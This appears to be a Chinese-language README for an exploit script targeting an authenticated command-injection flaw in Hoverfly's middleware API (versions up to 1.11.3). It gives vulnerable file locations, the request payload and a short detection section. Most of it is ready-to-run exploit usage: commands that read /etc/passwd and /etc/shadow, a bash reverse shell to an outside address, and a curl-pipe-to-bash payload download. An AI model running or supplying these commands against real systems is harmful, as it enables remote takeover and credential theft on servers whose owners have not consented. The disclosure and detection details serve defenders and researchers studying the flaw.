Hoverfly 认证中间件命令注入远程代码执行 | CVSS 9.8 严重
Hoverfly <= 1.11.3 存在认证命令注入漏洞,可通过 /api/v2/hoverfly/middleware 端点利用。需要管理员凭据,但一旦认证成功,中间件功能会接受用户提供的二进制路径和脚本值且未经验证,从而允许任意命令执行。
middleware.go 接受任意二进制路径local_middleware.go 直接将用户输入传递给 exec.Command()hoverfly_service.go 在验证过程中执行中间件python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> -c <COMMAND> [--shell SHELL]
-t, --target - Hoverfly API 端点(必需)-u, --username - 管理员用户名(必需)-p, --password - 管理员密码(必需)-c, --command - 要执行的命令(必需)--shell - 使用的 Shell 二进制路径(默认:/bin/bash)# 基本命令执行
python3 exploit.py -t http://localhost:8888 -u admin -p password -c whoami
# 读取敏感文件
python3 exploit.py -t http://10.10.11.100:8888 -u admin -p pass123 -c "cat /etc/passwd"
# 反弹 Shell
python3 exploit.py -t http://target:8888 -u user -p secret -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# 多条命令执行
python3 exploit.py -t http://192.168.1.50:8888 -u admin -p admin -c "id; uname -a; pwd"
# 使用不同的 Shell
python3 exploit.py -t http://victim:8888 -u root -p toor -c "cat /etc/shadow" --shell /bin/sh
# 下载并执行 payload
python3 exploit.py -t http://target:8888 -u admin -p pass -c "curl http://10.10.14.5/shell.sh | bash"
/api/v2/hoverfly/middleware 发送包含恶意 payload 的 PUT 请求/tmp/hoverfly_<random><shell> /tmp/hoverfly_<random>{
"binary": "/bin/bash",
"script": "whoami"
}
HTTP 请求头包含:
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/json
core/middleware/middleware.go:94-96 - 未对 binary 参数进行输入验证core/middleware/local_middleware.go:14-19 - 不安全的 exec.Command() 使用core/hoverfly_service.go:173 - 验证过程中立即执行查找:
/api/v2/hoverfly/middleware 的 PUT 请求/tmp/hoverfly/ 目录下的临时文件/api/v2/hoverfly/middleware 端点的访问原始发现者:@Kr1shna4garwal